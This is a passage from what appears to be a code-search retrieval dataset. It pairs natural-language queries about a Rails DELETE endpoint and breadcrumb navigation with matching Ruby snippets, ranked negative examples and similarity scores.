"0.52341205",
"0.5228276",
"0.52186596",
"0.5207649",
"0.51985806",
"0.51910704",
"0.5176358",
"0.5172521",
"0.5166971",
"0.5166971",
"0.5166971",
"0.5166971",
"0.51665914",
"0.5165747",
"0.5163355",
"0.51607966",
"0.5160631",
"0.51590616",
"0.5155225",
"0.51510704",
"0.51507664",
"0.514382",
"0.51420915",
"0.51385033",
"0.51369876",
"0.5135231",
"0.51332486",
"0.51231843",
"0.5118591",
"0.5114986",
"0.5114479",
"0.5111035",
"0.51081735",
"0.50971687",
"0.5087089",
"0.508662",
"0.508558",
"0.50820273",
"0.50691295",
"0.5067638",
"0.5064195",
"0.5052582",
"0.50438446",
"0.5037497",
"0.5029236",
"0.50281984",
"0.50239724",
"0.5021231",
"0.5017588",
"0.5012887",
"0.50090575",
"0.50086296",
"0.5005674",
"0.5005475",
"0.50046384",
"0.50039893",
"0.5001108",
"0.49937487",
"0.4985609",
"0.49804953",
"0.49776843",
"0.4977505",
"0.49764353",
"0.49713114"
] |
0.63873297
|
0
|
DELETE /release_loans/1 DELETE /release_loans/1.json
|
def destroy
@release_loan = ReleaseLoan.find(params[:id])
@release_loan.destroy
respond_to do |format|
format.html { redirect_to release_loans_url }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @client_release = ClientRelease.find(params[:id])\n @client_release.destroy\n\n respond_to do |format|\n format.html { redirect_to client_releases_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @lease = Lease.find(params[:id])\n @lease.destroy\n\n respond_to do |format|\n format.html { redirect_to leases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @release = @environment.releases.find(params[:id])\n @release.destroy\n\n respond_to do |format|\n format.html { redirect_to releases_url }\n format.json { head :no_content }\n end\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @lease.destroy\n respond_to do |format|\n format.html { redirect_to leases_url, notice: 'Lease was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kota_stone.destroy\n respond_to do |format|\n format.html { redirect_to kota_stones_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bustour.destroy\n respond_to do |format|\n format.html { redirect_to bustours_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lob.destroy\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @os_release = OsRelease.find(params[:id])\n @os_release.destroy\n\n respond_to do |format|\n format.html { redirect_to os_releases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lounge.destroy\n respond_to do |format|\n format.html { redirect_to lounges_url, notice: 'Lounge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loanable.destroy\n respond_to do |format|\n format.html { redirect_to users_loanables_url, notice: 'Loanable was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @press_release.destroy\n respond_to do |format|\n format.html { redirect_to press_releases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lodging.destroy\n respond_to do |format|\n format.html { redirect_to lodgings_url, notice: 'Lodging was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lodging.destroy\n respond_to do |format|\n format.html { redirect_to lodgings_url, notice: \"Lodging was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @interest_on_housing_loan.destroy\n respond_to do |format|\n format.html { redirect_to interest_on_housing_loans_url, notice: 'Interest on housing loan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @rayon = Rayon.find(params[:id])\n @rayon.destroy\n\n respond_to do |format|\n format.html { redirect_to rayons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url, notice: 'Loan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url, notice: 'Loan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url, notice: 'Loan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @player_loan = PlayerLoan.find(params[:id])\n @player_loan.destroy\n\n respond_to do |format|\n format.html { redirect_to player_loans_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize @lease\n @lease.destroy\n respond_to do |format|\n format.html { redirect_to leases_url, notice: 'Lease was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @loan.destroy\n respond_to do |format|\n format.html { redirect_to loans_url, notice: \"Loan was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @harvest_trello = HarvestTrello.find(params[:id])\n @harvest_trello.destroy\n\n respond_to do |format|\n format.html { redirect_to harvest_trellos_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @persons_release = PersonsRelease.find(params[:id])\n @persons_release.destroy\n\n respond_to do |format|\n format.html { redirect_to persons_releases_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @therapy_budget.destroy\n respond_to do |format|\n format.html { redirect_to therapy_budgets_url, notice: 'Therapy budget was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @historial = Historial.find(params[:id])\n @historial.destroy\n\n respond_to do |format|\n format.html { redirect_to historials_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @household.destroy\n respond_to do |format|\n format.html { redirect_to households_url }\n format.json { head :no_content }\n end\n end",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @pinglun = Pinglun.find(params[:id])\n @pinglun.destroy\n\n respond_to do |format|\n format.html { redirect_to pingluns_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kishangarh_marble.destroy\n respond_to do |format|\n format.html { redirect_to kishangarh_marbles_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n official = Official.find(params[:id])\n official.destroy\n head 204\n end",
"def destroy\n @moonwalk.destroy\n respond_to do |format|\n format.html { redirect_to moonwalks_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @release.destroy\n respond_to do |format|\n format.html { redirect_to releases_url, notice: 'Release was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @signed_lease.destroy\n respond_to do |format|\n format.html { redirect_to signed_leases_url, notice: 'Signed lease was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stall.destroy\n respond_to do |format|\n format.html { redirect_to stalls_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n # @bill_quorum = BillQuorum.find(params[:id])\n @bill_quorum.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_quorums_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plate.destroy\n respond_to do |format|\n format.html { redirect_to client_budget_mobile_url(@client, @budget, @mobile), notice: \"Chapa deletada com sucesso.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n streak, success = jsonapi_destroy.to_a\n\n if success\n render json: { meta: {} }\n else\n render_errors_for(streak)\n end\n end",
"def destroy\n @nudge.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @knol.destroy\n respond_to do |format|\n format.html { redirect_to knols_url }\n format.json { head :no_content }\n end\n end",
"def destroy\r\n @bill = Bill.find(params[:id])\r\n @bill.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to bills_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @verbo = Verbo.find(params[:id])\n @verbo.destroy\n\n respond_to do |format|\n format.html { redirect_to verbos_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_village = Admin::Village.find(params[:id])\n @admin_village.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_villages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clan_match.destroy\n\n head :no_content\n end",
"def destroy\n @loan_log.destroy\n respond_to do |format|\n format.html { redirect_to loan_logs_url, notice: 'Loan log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @labbranch = labbranch.find(params[:id])\n @labbranch.destroy\n\n respond_to do |format|\n format.html { redirect_to labbranches_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @git_datum = GitDatum.find(params[:id])\n @git_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to git_data_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @usage_record.destroy\n respond_to do |format|\n format.html { redirect_to @project }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ninja = Ninja.find(params[:id])\n @ninja.destroy\n\n respond_to do |format|\n format.html { redirect_to ninjas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_state.destroy\n\n head :no_content\n end",
"def destroy\n @makrana_marble.destroy\n respond_to do |format|\n format.html { redirect_to makrana_marbles_url }\n format.json { head :no_content }\n end\n end",
"def delete\n render json: Alien.delete(params[\"id\"])\n end",
"def destroy\n @mission = Mission.find(params[:id])\n @mission.destroy\n\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url, flash: {success: t('app.msgs.success_deleted', :obj => t('mongoid.models.api_version.one'))} }\n format.json { head :no_content }\n end\n end",
"def destroy\n @nail_salon = NailSalon.find(params[:id])\n @nail_salon.destroy\n\n respond_to do |format|\n format.html { redirect_to nail_salons_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @borrow = Borrow.find(params[:id])\n @borrow.destroy\n\n respond_to do |format|\n format.html { redirect_to borrows_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_api_versions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @mission = Mission.find(params[:id])\n @mission.destroy\n\n respond_to do |format|\n format.html { redirect_to missions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @android_ng_bayan.destroy\n respond_to do |format|\n format.html { redirect_to android_ng_bayans_url, notice: 'Android ng bayan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end",
"def destroy\n @major.destroy\n respond_to do |format|\n format.html { redirect_to majors_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @distro.destroy\n respond_to do |format|\n format.html { redirect_to distros_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(url)\n @deleted = true\nend",
"def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/items/#{shortcode_url}.json\"\n end",
"def destroy\n @member_village.destroy\n respond_to do |format|\n format.html { redirect_to member_villages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @level_goal = LevelGoal.find(params[:id])\n @level_goal.destroy\n\n respond_to do |format|\n format.html { redirect_to level_goals_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @village = Village.find(params[:id])\n @village.destroy\n\n respond_to do |format|\n format.html { redirect_to villages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ruby.destroy\n respond_to do |format|\n format.html { redirect_to rubies_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_banners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @health.destroy\n respond_to do |format|\n format.html { redirect_to \"/dashboard\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @house_hunter.destroy\n respond_to do |format|\n format.html { redirect_to house_hunters_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banners_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @plate.destroy\n respond_to do |format|\n format.html { redirect_to plates_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @vote = @votable.votes.find(params[:id])\n @vote.destroy\n respond_to do |format|\n format.html { redirect_to build_path_votes }\n format.json { head :no_content }\n end\n end",
"def destroy\n @api_v1_post_vote = PostVote.find(params[:id])\n @api_v1_post_vote.destroy\n\n respond_to do |format|\n format.html { redirect_to api_v1_post_votes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lost = Lost.find(params[:id])\n @lost.destroy\n\n respond_to do |format|\n format.html { redirect_to losts_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n return if new_record?\n \n @api.delete \"/meetings/#{shortcode_url}.json\"\n end",
"def destroy\n @c_rodinny_stav.destroy\n respond_to do |format|\n format.html { redirect_to c_rodinny_stavs_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @walkathon_pledge.destroy\n respond_to do |format|\n format.html { redirect_to walkathon_pledges_url, notice: 'Pledge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @object_release.destroy\n respond_to do |format|\n format.html { redirect_to object_releases_url, notice: 'Object release was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subway.destroy\n respond_to do |format|\n format.html { redirect_to subways_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7100835",
"0.6832401",
"0.672356",
"0.6696524",
"0.66841304",
"0.6681314",
"0.6584477",
"0.6582933",
"0.6579868",
"0.6565128",
"0.65610313",
"0.6549521",
"0.65331197",
"0.65145177",
"0.6507528",
"0.64937526",
"0.647958",
"0.6479154",
"0.64726716",
"0.64711344",
"0.6467382",
"0.6467382",
"0.6467382",
"0.64655507",
"0.6463381",
"0.64603245",
"0.644977",
"0.64493984",
"0.6448756",
"0.6447407",
"0.6441705",
"0.6430074",
"0.6420985",
"0.64193517",
"0.64169323",
"0.6410684",
"0.64013207",
"0.639481",
"0.63840735",
"0.63809353",
"0.6379622",
"0.63793117",
"0.6376014",
"0.63741434",
"0.63732487",
"0.6372918",
"0.63711816",
"0.636937",
"0.6366619",
"0.6366427",
"0.63657105",
"0.63624454",
"0.63623166",
"0.6360259",
"0.6356225",
"0.63540775",
"0.63506645",
"0.6350391",
"0.63468254",
"0.63451743",
"0.6338337",
"0.63377875",
"0.63377875",
"0.6336547",
"0.63361025",
"0.63344675",
"0.6333308",
"0.63329965",
"0.6332764",
"0.63310915",
"0.63283896",
"0.63276213",
"0.632697",
"0.632665",
"0.63259476",
"0.6324271",
"0.6319488",
"0.63155687",
"0.631439",
"0.631207",
"0.6310399",
"0.6309768",
"0.63087976",
"0.6307243",
"0.6306531",
"0.63002247",
"0.6299541",
"0.6296892",
"0.62956",
"0.62956",
"0.62956",
"0.6294874",
"0.6293771",
"0.6293429",
"0.6292964",
"0.6292829",
"0.62906265",
"0.62887174",
"0.628868",
"0.62885416"
] |
0.72731197
|
0
|
Return a list of breadcrumbs appropriate for the particular controller. This method can be overridden by any specific subclass to introduce sublinks into the breadcrumb path. A leaf path can then be introduced by the local controller by convention using local code
|
def breadcrumbs
@breadcrumbs
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def individual_breadcrumb\n add_breadcrumb \"Clients\", clients_path, :title => \"Clients\" \n add_breadcrumb \"Power Of Attorney\", '', :title => \"Power Of Attorney\" \n add_breadcrumb \"Principal Create\", '', :title => \"Principal Create\"\n end",
"def breadcrumbs() [] end",
"def hardcoded_breadcrumbs\n [\n {\n title: \"Home\",\n url: \"/\",\n },\n {\n title: subtopic.parent.title,\n url: subtopic.parent.base_path,\n },\n {\n title: subtopic.title,\n url: subtopic.base_path,\n },\n ]\n end",
"def add_breadcrumbs\n breadcrumb_for \"index\" # base\n\n if action_name != \"index\"\n breadcrumb_for action_name\n end\n end",
"def breadcrumb\n add_breadcrumb \"Users\", persons_path if @rider.book\n add_breadcrumb \"Master book\", master_riders_path if @rider.is_master?\n\n add_breadcrumb @rider.book.person.first_name, person_path(@rider.book.person) if @rider.book\n add_breadcrumb @rider.book.number, person_book_path(@rider.book.person, @rider.book) if @rider.book\n if @rider.is_master?\n add_breadcrumb @rider.book.number, master_book_path(@rider.book) \n else\n add_breadcrumb @rider.book.number, book_rider_path(@rider.book, @rider)\n end\n add_breadcrumb @rider.name, book_rider_path(@rider.book, @rider) if @rider\n end",
"def auto_set_breadcrumb\n ariane.add(\"Home\", root_path, 1) if ariane.crumbs.empty? \n \n if self.action_name == \"index\"\n name = controller_name.titleize\n level = get_level || 2\n else\n name = \"#{action_name.titleize} #{controller_name.singularize.titleize}\"\n level = get_level || 3\n end\n\n ariane.add(name, request.fullpath, level)\n end",
"def breadcrumbs\n configuration.breadcrumbs\n end",
"def breadcrumbs\n home = link_to(image_tag('home.png', :class => 'home'), '/', :title => t('app.home'))\n breadcrumbs = [home] + crumbs.split(Breadcrumb.instance.delimiter)\n content_tag(:ul, breadcrumbs.map { |trail| content_tag(:li, trail) }, :id => 'breadcrumb')\n end",
"def breadcrumbs\n content_tag :ol, class: 'breadcrumb' do\n split_path = request.path.split('/').drop(1)\n concat content_tag :li, (link_to 'Home', '/')\n split_path.each_with_index do |p, i|\n concat content_tag :li, (link_to p.capitalize_each('-'), '/' + split_path.take(i+1).join('/'))\n end\n end\n end",
"def home_breadcrumbs(action=\"\")\n crumbs = []\n\n crumbs.push({ \"text\": t(\"defaults.home\"), \"link\": root_path })\n\n case action\n when \"api\"\n crumbs.push({ \"text\": \"API\" })\n\n when \"conferences\"\n crumbs.push({ \"text\": t(\"views.conference.list\") })\n end\n\n render \"partials/breadcrumbs\", crumbs: crumbs\n end",
"def build_breadcrumbs\n @breadcrumbs = [\n { :title => I18n.t(\"admin.sections.#{resource_collection_name}\"), :url => collection_path }\n ]\n @breadcrumbs << { :title => params[:action] } unless params[:action] == 'index'\n end",
"def breadcrumbs(separator=\" / \")\n crumbs = env[\"PATH_INFO\"].split(\"/\").map {|path| { :path => path, :name => path } }\n crumbs[0] = { :path => \"/\", :name => \"projects\" }\n crumbs = crumbs[0..-2].inject([]) do |crumbs_so_far, current|\n crumbs_so_far << %(<a href=\"#{current[:path]}\">#{current[:name]}</a>)\n end << crumbs.last[:name]\n crumbs.join(separator)\n end",
"def breadcrumbs\n breadcrumbs = link_to this_webapp.webapp_name, root_path, :class => 'first-breadcrumb'\n unless @breadcrumb.nil?\n breadcrumbs += content_tag(:label, \" > \")\n if @breadcrumb.kind_of? Picture\n picture = @breadcrumb\n @breadcrumb = @breadcrumb.gallery\n end\n breadcrumbs += parent_breadcrumbs_gallery(@breadcrumb)\n\n unless picture.nil?\n breadcrumbs += content_tag(:label, \" > \")\n breadcrumbs += content_tag(:label, picture.title, :class => 'end-breadcrumb')\n end\n end\n if @finish_breadcrumb\n breadcrumbs + \" > \" + @finish_breadcrumb\n else\n breadcrumbs\n end\n end",
"def breadcrumbs\n @crumbs ||= parent.nil? ? [] : (parent.breadcrumbs + [parent])\n end",
"def breadcrumbs\n migajas_env[\"app.breadcrumbs\"] ||= Trail.new(migajas_env)\n end",
"def breadcrumb\n Array(@breadcrumb)\n\tend",
"def breadcrumb action = @action, acc = []\n begin\n (parent_actions ||= []) << action\n end while action.breadcrumb_parent && (action = action(*action.breadcrumb_parent))\n\n content_tag(:ul, :class => \"breadcrumb\", :id => \"breadcrumb\") do\n parent_actions.map do |a|\n am = a.send(:eval, 'bindings[:abstract_model]')\n o = a.send(:eval, 'bindings[:object]')\n content_tag(:li, :class => current_action?(a, am, o) && \"active\") do\n crumb = if a.http_methods.include?(:get)\n current_action?(a, am, o) ? aclass = 'pjax tip-bottom current' : aclass = 'pjax tip-bottom'\n if a.action_name == :dashboard\n adata = t('admin.menu.Gohome')\n else\n adata = t('admin.menu.Gosection')\n end\n link_to locale_url_for(:action => a.action_name, :controller => 'rails_admin/main', :model_name => am.try(:to_param), :id => (o.try(:persisted?) && o.try(:id) || nil)), \"data-original-title\" => adata, :class => aclass do\n if a.action_name == :dashboard\n icon = content_tag(:i, '', :class => 'icon-home')\n else\n icon = ''\n end\n icon + wording_for(:breadcrumb, a, am, o)\n end\n else\n content_tag(:span, wording_for(:breadcrumb, a, am, o))\n end\n #crumb+= content_tag(:span, '/', :class => 'divider') unless current_action?(a, am, o)\n crumb+= content_tag(:span, '') unless current_action?(a, am, o)\n crumb\n end\n end.reverse.join().html_safe\n end\n end",
"def set_breadcrumbs\n @breadcrumbs = []\n add_breadcrumb \"Home\", root_path\n end",
"def set_breadcrumbs\n @breadcrumbs = []\n add_breadcrumb \"Home\", root_path\n end",
"def crumbs\n get_or_set_ivar \"@_crumbs\", []\n end",
"def breadcrumbs_for(category_leaf: nil, concept: nil, dataset: nil)\n # start with the root\n breadcrumb 'home', categories_path, match: :exact\n\n # basic breadcrumbs for dataset\n breadcrumb (dataset.name || ''), dataset_path(dataset) if dataset.present?\n\n return if category_leaf.nil?\n\n # build the breadcrumbs for the category's parent-tree\n category_leaf.ancestors.each do |category|\n breadcrumb (category.name || ''), category_path(category)\n end\n\n # ancestors doesn't include the leaf category (just it's parents)\n breadcrumb (category_leaf.name || ''), category_path(category_leaf)\n\n # finally, add the concept if it's there\n breadcrumb (concept.name || ''), concept_path(concept) if concept.present?\n end",
"def f_breadcrumb(ancestors_list = nil)\n if ancestors_list.nil? && @feature.nil?\n content_tag :ol, \"<li>#{link_to(ts('home.this').html_safe, root_path)}</li>\".html_safe, class: 'breadcrumb'\n else\n ancestors_list ||= @feature.closest_ancestors_by_perspective(current_perspective)\n list = ancestors_list.collect do |r|\n name = r.prioritized_name(current_view)\n options = {}\n if name.nil?\n name_str = r.pid\n else\n name_str = name.name\n options[:class] = 'non-capitalizable' if !name.orthographic_system_code.blank?\n end\n link_to(name_str, feature_path(r.fid), options)\n end\n list = [link_to(\"#{ts('app.short')}:\".html_safe, root_path)] + list[0...list.size-1].collect{|e| \"#{e}#{breadcrumb_separator}\".html_safe} + [list.last]\n content_tag :ol, list.collect{|e| \"<li>#{e}</li>\"}.join.html_safe, class: 'breadcrumb'\n end\n # content_tag :div, acts_as_family_tree_breadcrumb(feature, breadcrumb_separator) {|r| f_link(r, feature_path(r.fid), {}, {:s => true})}, :class => \"breadcrumbs\"\n end",
"def index \n add_breadcrumb \"Administrar\", :sections_path\n add_breadcrumb \"Recursos\", :resources_path \n end",
"def breadcrumb_master\n add_breadcrumb \"Master Rider\", master_riders_path\n add_breadcrumb @rider.name, master_rider_path(@rider) if @rider\n end",
"def show\n breadcrumb\n end",
"def get_breadcrumbs\n current = @product || @brand || @category || @page\n # BreadcrumbsMaker.build current, params\n make_breadcrumbs current\n end",
"def page_breadcrumbs(page)\n page.ancestors.reverse.map { |p| link_to(p.name, p.path) }\n end",
"def manageable_breadcrumbs(options = {})\n items = Helpers::NavigationBuilder.new\n yield items if block_given?\n\n options[:class] ||= \"\"\n options[:class] << \" breadcrumb\"\n options[:class].strip!\n\n content_tag(\"div\", options) do\n content_tag(\"ul\") do\n items.collect { |item|\n content_tag(\"li\", :class => item[:class]) do\n if item[:active]\n item[:label]\n else\n link_to(item[:label], item[:href])\n end\n end\n }.join(\"\").html_safe\n end\n end\n end",
"def add_resource_breadcrumb(resource)\n ancestors = []\n if resource.new_record?\n if resource.parent_id\n ancestors = resource.parent.ancestors\n ancestors += [resource.parent]\n end\n else\n ancestors = resource.ancestors\n end\n\n ancestors.each do |ancestor|\n @breadcrumbs << { name: ancestor, url: url_for( action: :edit, id: ancestor.id ) }\n end\n\n super\n end",
"def breadcrumbs\r\n\t\t\tself.parent.nil? ? [] : self.parent.breadcrumbs + [self]\r\n\t\tend",
"def breadcrumbs\n\t\trender :breadcrumbs\n\tend",
"def member_breadcrumbs\n add_breadcrumb(@assignment.period.name, url_for(@assignment.period), @assignment.period.can_view?(current_user), 'Coaching Period')\n if @assignment.group \n add_breadcrumb(@assignment.group.display_name, url_for(@assignment.group), @assignment.group.can_view?(current_user), 'Coaching Group')\n elsif @assignment.team\n add_breadcrumb(@assignment.team.display_name, url_for(@assignment.team), @assignment.team.can_view?(current_user), 'Team')\n end\n add_breadcrumb(@assignment.user.display_name, url_for(@assignment), true, 'Assignment')\n end",
"def breadcrumbs\n add_breadcrumb(@problem.name, problem_path(@problem))\n add_breadcrumb \"Solutions\", problem_solutions_path(@problem)\n end",
"def breadcrumb\n file = XFile.get(params[:id])\n raise RequestError.new(:file_not_found, \"File not found\") unless file\n if !file.public then\n raise RequestError.new(:bad_access, \"No access\") if !file.users.include? session[:user]\n end\n\n file = WFolder.get(params[:id]) if file.folder?\n file = WFile.get(params[:id]) unless file.folder?\n\n path = []\n folder = file\n\n while (folder.id != session[:user].root_folder.id)\n new_parent = folder.parents.first(user: session[:user])\n raise RequestError.new(:db_error, \"This file has no parent directory belonging to the current user\") if new_parent.nil?\n path.push(new_parent.description(session[:user])) if (new_parent.id != session[:user].root_folder.id)\n folder = new_parent\n end\n path.push(folder.description(session[:user]))\n path.reverse!\n path.push(file.description(session[:user])) unless path.include? file.description(session[:user])\n @result = { success: true, breadcrumb: path }\n end",
"def set_root_breadcrumb\n add_breadcrumb '<span class=\"fa fa-lg\"></span><span class=\"sr-only\">Top</span>'.html_safe, root_path\n end",
"def add_breadcrumb_modulo\n add_breadcrumb pluralize_model(TbAvaliacao), gerente_tb_avaliacoes_path\n end",
"def pickup_breadcrumbs\n @bcname = request.path.inspect\n case\n when request.path == \"/\"\n @bcname = Bcrmb.find_by_bckey(\"home\").name\n when request.path =~ /(\\/as\\w\\w\\/)(\\w+)/\n token2in_path = $2\n if (mybc = Bcrmb.find_by_bckey(token2in_path))\n @bcname = mybc.send(:name)\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # if\n else\n @bcname = Bcrmb.find_by_bckey(\"allbc\").name\n end # case\n\n end",
"def breadcrumb_trail\n ancestors + [self]\n end",
"def the_breadcrumb(add_post_type = true)\n generate_breadcrumb(add_post_type)\n h.breadcrumb_draw\n end",
"def show\n add_breadcrumb \"Listings\", :listings_path\n add_breadcrumb \"Current Listing\", :listing_path\n end",
"def add_resource_breadcrumb(resource)\n ancestor_nodes(resource).each do |node|\n @breadcrumbs << { name: node, url: url_for( action: :edit, id: node.id ) }\n end\n super\n end",
"def add_breadcrumb_modulo\n add_breadcrumb breadcrumb('administracao.avaliacao.base')\n add_breadcrumb pluralize_model(TbPergunta), administracao_tb_perguntas_path\n end",
